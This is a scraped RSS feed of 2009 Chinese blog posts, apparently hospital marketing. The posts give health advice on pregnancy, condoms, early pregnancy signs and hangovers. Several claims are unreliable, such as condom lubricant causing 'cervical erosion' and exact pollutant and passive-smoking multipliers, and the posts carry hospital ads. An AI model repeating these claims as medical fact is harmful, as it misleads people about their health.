　　因为，其中放出的二氧化碳、二氧化硫、二氧化氮、一氧化碳等有害气体，要比室外空气中的浓度高出好多倍，加之煎炒食物产生的油烟，使得厨房被污染得更加严重。更为有害的是，在同时释放的粉尘和煤烟中，均含有强烈的致癌物——苯并芘。如果厨房通风不良，使这些有害气体的浓度更为升高，如二氧化碳的浓度超过国家标准的5倍，氢氧化物的浓度超过14倍，尤其是苯并芘的浓度，大大高于国家标准。

　　2.经常让妻子与家用洗涤剂接触

　　有些准爸爸在妻子怀孕后，并没有把家里的清洁工作接管过来。
　　很多时候妻子还在经常使用洗涤剂、洁厕剂来清洁厨房、卫生间及浴室等。
　　研究显示，家用洗涤剂造成的化学污染，对人体健康有一定的损害作用，特别是在不恰当使用时。比如，把洁厕剂与消毒剂一起混合用，洁厕剂中的氯含量很高，当把它与含氨类清洁剂合用时，会产生刺激眼、鼻、咽喉等部位的氯气，甚至损害肺部。喷雾型的消毒剂、清洁剂与除臭剂、空气清新剂混用时，也会产生有损人体健康的化学反应，特别是对孕妇和胎儿更有害。

　　纠正法：

　　凡是要亲手接触各种洗涤剂，包括洗衣粉在内的工作，最好别让妻子做，准爸爸一定要一马当先。
　　不要把洗涤剂、消毒剂混合使用，浴室洗涤类、洁厕类、厨房洗涤类用品一定要分开使用。

　　3.不节制性生活

　　有些准爸爸在妻子怀孕后，并没有减少性生活的次数。有时，妻子因担心而有顾虑时，他们还会感到不快。
　　资料表明，有10%-18%的流产是由于性生活不当所造成。因为，在怀孕前3个月时，胎盘还未完全形成，胚胎组织在子宫壁上附着得还不够牢固，如果性生活频繁或动作粗暴，容易刺激子宫收缩，导致胎膜早破;怀孕最后3个月，性生活容易把外来病菌带进阴道，引起感染，造成早产，特别是临产前1个月，性生活会加大腹压，导致早产、宫内感染、产褥期感染等。因此，不能贪图一时的快乐而惹出麻烦，小不忍则可能会乱大谋。

　　纠正法：

　　准爸爸在孕期要克制自己，体贴妻子，特别是孕早期和孕后期一定要注意减少性生活的次数。如果妻子以往有自然流产和习惯性流产史更要注意，临产前1个月禁止性生活。
　　 孕中期相对较安全，可以有性生活，但要非常小心，并要节制次数。应该选择不压迫胎儿的姿势，同时使用避孕套，以免精液中的前列腺素刺激子宫，引起强烈收缩。

　　4.总在妻子面前“吞云吐雾”

　　如今，很多男性在妻子准备怀孕前，倒是减少或暂不吸烟了。
　　但当妻子怀孕后又开始吸烟，并经常在妻子面前毫顾虑地“吞云吐雾”。他们以为，只要妻子不吸烟就不会影响胎儿发育。
　　医学研究表明，被动吸烟更可怕，被动吸烟者比吸烟者的进入体内的苯丙芘(致癌物质)高出5倍。另外，烟草中有20多种有害成分，可使染色体和基因发生变化，对早期胚胎的危害最严重，可以引起流产、早产和胎儿死亡;容易导致胎儿发育迟缓、畸形和先天性心脏病，会引发颌面部或口腔发育畸形，从生命起点便埋下口腔不健康的隐患，使宝贝出生后难以拥有健康结实的牙齿;同时毒害胎儿的大脑，对智力发育造成一定的影响。

　　纠正法：
　　为了宝贝的健康，准爸爸无论在妻子妊娠前还是妊娠后都不应该吸烟，至少不应在妻子面前吸烟。
　　如果准爸爸难以做到，可出去或在走廊里抽，或使用一些戒烟用品，如往鼻子里喷戒烟药水，吃戒烟糖或使用戒烟牙膏。
　　 妻子多鼓励和体贴准爸爸，用以柔克刚的智慧来帮助准爸爸战胜香烟的诱惑。



]]> http://447120202.qzone.qq.com/blog/1251628841#comment 134218241 Sun, 30 Aug 2009 10:40:41 GMT http://447120202.qzone.qq.com/blog/1251628841 <![CDATA[警惕 香味安全套易引发阴道炎]]> http://447120202.qzone.qq.com/blog/1251628644
花纹样式
　　首先，从花纹样式来看。外表带有颗粒或螺纹凸起的安全套，可以增加对阴道壁的摩擦刺激，能更好地取悦女方。相比较而言，因为太粗的乳胶颗粒容易导致安全套出现裂缝，所以在合格的产品中，颗粒大小会受到限制，这就使螺纹安全套的快感比颗粒安全套更强烈一些。
色彩香型
　　其次，从色彩和香型来看。市场上的避孕套色彩纷呈，有红、白、粉、紫、蓝等20多种。自上世纪90年代初起，厂家还推出了添加各种香料的安全套，常见的有玫瑰香型、桂花香型等几种。应该说，彩色和香型主要是为了改善一些人对安全套的反感心理，同时也是为了增加吸引力。因为人们可根据对颜色的偏爱或当时的心境，选择使用不同的安全套。
香料型安全套容易导致阴道炎
　　需要提醒大家的是，时下流行的草莓、巧克力等香料型安全套，容易导致妇女阴道发炎。如果要选这类产品，一定要密切关注女性是否有阴道分泌物异常问题，并且尽量少用。　　另外还有一种“夜光型”安全套，以含磷的涂料产生光线，增加性爱情趣。磷的致敏性更强，大家一定要根据自己的情况慎重选择，不可盲目求新求异。
情趣在不影响身体健康的情况下是可以选择的，但在影响到身体健康的时候，还是以健康为主的好。
　　另外，避孕套上面的润滑油会导致女性宫颈糜烂。其他的避孕方式有带环避孕，皮下埋线避孕，男性结扎等等也可以供大家选择。

关爱女性健康进在东营中西医结合，东营中西医结合医院欢迎您的垂询

]]> http://447120202.qzone.qq.com/blog/1251628644#comment 134218240 Sun, 30 Aug 2009 10:37:24 GMT http://447120202.qzone.qq.com/blog/1251628644 <![CDATA[认清意外怀孕的六大症状]]> http://447120202.qzone.qq.com/blog/1251628354 宫外孕等意外情况的发生。在最早的时间里发现自己已经怀孕的征兆并不难。

　　一、你是否月经停止？
　　月经停止是怀孕最显著也是最早的信号。你的月经期或许会因为营养、饮食、心情、甚至工种突然改变等种种原因出现暂时的紊乱。　　
但是，如果你和爱人近期有过同房的事实，月经期没有任何诱因的推迟了十天，这就应当引起你的高度警惕了。这个时候，你极有可能怀孕了。如果继续停经14天以上，应立即到医院化验检查。

　　二、是否出现了“早孕反应”？
如果你的月经期本来就很紊乱，月经已经停止了数周，已经怀孕了自己还不知道的话，到了怀孕的第六周，就会出现恶心、呕吐、乏力、嗜吃酸辣、生猛等所谓的“早孕反应”。

　　三、是否出现了排尿增多？
　　怀孕8周以后，由于增大的子宫压迫膀胱，会反射性地引起排尿增多，有时甚至高达一小时几次、十几次。排尿的次数增多，但尿量并不增多，并伴有轻度的头晕、恶心等症状。

四、是否出现了体温持续轻度增高？
　　正常情况下，年轻女性在排卵期前期体温较低，排卵期后体温较高。如果你的月经期已经推迟了数周，并且感觉到没有诱因的心跳略快，就需要到药店买一支体温计测量。假如测量结果是一连20天体温都比平常略高，并且居高不下的话，你就极有可能怀孕了。

　　五、乳房是否出现明显变化？
　　假如你的工作强度大，生活节奏快，已经怀孕了八个星期尚不自知的话，乳房的异常变化对你也是一个重要提醒。怀孕八周以上，乳房会出现胀、麻和微痒感，乳头上的颜色也会日渐加深，乳晕周围会出现深褐色粗大结节。
六、是否用“早孕试纸”化验呈阳性？
　　早孕试纸是一种长条状试纸，在一般的药店和诊所都可以买到，市场价在5元左右。因其价格低廉、实用、准确率高而深受女性朋友的欢迎。早孕试纸可在停经后自己检测。使用前，先将自己的双手及用来检测的杯子清洗干净，然后，用干净的杯子盛尿液少许，将试纸按箭头所指处插入尿液之中三秒钟，然后抽出放在杯子边缘等待片刻。如果是怀孕了，试纸上就会呈现出两条紫红色的短线；如果没有怀孕，试纸上则呈现出一条紫红色的短线。

　　东营中西医结合医院专家点评：
　　意外怀孕时常会出现各种各样复杂而又很难处理的问题，但归纳起来其实无非有以下两种情况：
　　一是虽然家庭、事业、感情相对不稳定，但意外怀孕的胎儿本身并没有特别的危险性因素，这种情况下的家庭如果想要孩子，就要调整一下家庭计划，只是肯定需要妈妈做出一定的牺牲；
　　二是存在某种危险因素的意外怀孕，在这种情况下，胎儿出生后可能会不健康，甚至有某种先天残疾。那么，如果保留孩子，整个孕期都会惴惴不安，担心孩子的健康，而不能像其他计划怀孕的准妈妈那样幸福、安详的关注宝宝的生长，期待她的出生。 ]]> http://447120202.qzone.qq.com/blog/1251628354#comment 142606849 Sun, 30 Aug 2009 10:32:34 GMT http://447120202.qzone.qq.com/blog/1251628354 <![CDATA[[转]酒后千万别做这七件事]]> http://447120202.qzone.qq.com/blog/1251463654 　　2．不要吃退烧药。醉酒后服用退烧药（羟苯基乙酰胺）会产生有毒物质，导致肝脏发炎甚至永久性损伤。建议：次日早晨提前1小时服用布洛芬。
　　3．少吃腊肠和火腿。香肠和火腿等油腻食品一直被视为“解酒之王”，虽然会起到一定作用，但是醉酒之后，最好避免这些食物。因为油腻食品此时并不能提供必要的营养。建议：最好吃煮鸡蛋或荷包蛋。鸡蛋中的半胱氨酸有助于分解酒精。
　　4．不要运动。不提倡酒后锻炼，酒精具有利尿作用，醉酒后体内水分流失更多，容易发生脱水。此时再锻炼则会加重脱水危险。建议：最好冲个凉，并好好放松一下。
　　5．不要吃油炸食物。油炸类食物虽然能让你一时感觉舒适，但是几小时候后可能会肚子难受。
建议：吃点普通面包或者低盐饼干，可改善低血糖，减轻恶心感。另外，酒后吃一根香蕉可以补钾。
　　6．不要吃醒酒药。醒酒药可以暂时摆脱醉酒症状，但实际上却会将醉酒时间延长。建议：大量喝其他饮料。矿泉水是最佳选择。运动饮料可补充电解质；低酸度的橙汁可以补维生素C；自然果汁能保持血糖水平。
　　7．不要在睡前吃东西。睡前吃点东西可以吸收酒精，这一说法是一种误解。建议：睡前喝点水就行了，可以补充体液，帮助醒酒。


中西医结合 关爱您的生活
]]> http://447120202.qzone.qq.com/blog/1251463654#comment 134218248 Fri, 28 Aug 2009 12:47:34 GMT http://447120202.qzone.qq.com/blog/1251463654